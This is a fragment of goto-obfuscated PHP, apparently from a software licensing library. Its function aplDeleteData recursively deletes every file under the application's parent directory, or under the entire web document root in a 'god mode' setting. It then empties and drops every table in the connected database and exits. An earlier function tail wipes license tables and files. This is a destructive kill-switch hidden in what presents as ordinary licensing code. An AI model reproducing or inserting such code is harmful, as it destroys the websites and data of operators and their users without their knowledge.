mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE);
cOnwt:
if (!(APL_STORAGE == "FILE"))
{
goto jCDHR;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); @fclose($handle);
jCDHR:
lu3tx:
ChgQz:
m4I_x:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"]))
{
goto bG0xX;
}
$root_directory = dirname(__DIR__);
goto iVoyk;
bG0xX:
$root_directory = $_SERVER["DOCUMENT_ROOT"];
iVoyk:
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path)
{
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
z9gBT:
}
wjx2O:
rmdir($root_directory);
if (!(APL_STORAGE == "DATABASE"))
{
goto WRE7D;
}
$database_tables_array = array();
$table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES");
xjeEe:
if (!($table_list_row = mysqli_fetch_row($table_list_results)))
{
goto Wvu8M;
}
$database_tables_array[] = $table_list_row[0];
goto xjeEe;
Wvu8M:
if (empty($database_tables_array))
{
goto awUWl;
}
foreach ($database_tables_array as $table_name)
{
mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}");
wEPIw:
}
yZ0CH:
foreach ($database_tables_array as $table_name)
{
mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}");
G1w0E:
}
OzxI2:
awUWl:
WRE7D:
exit;
} ?>